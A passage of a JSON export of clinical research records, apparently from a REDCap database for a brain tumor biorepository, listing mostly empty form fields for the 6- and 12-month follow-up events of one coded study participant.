ocatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"2","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"1","if_other_describe_att":"","test_results":"1","other_status":"1","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"6_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2014-03-17","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"1","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"88","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"2","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"1","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"2","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"1","if_other_describe_att":"","test_results":"","other_status":"1","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"12_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2013-10-16","follow_up_visit_status":"1","reason_for_no_visit":"","date_of_visit_follow_up":"","clin_status":"1","tumor_status2":"2","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"94","updates_data_form_complete":"0","treatment_status":"4","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_m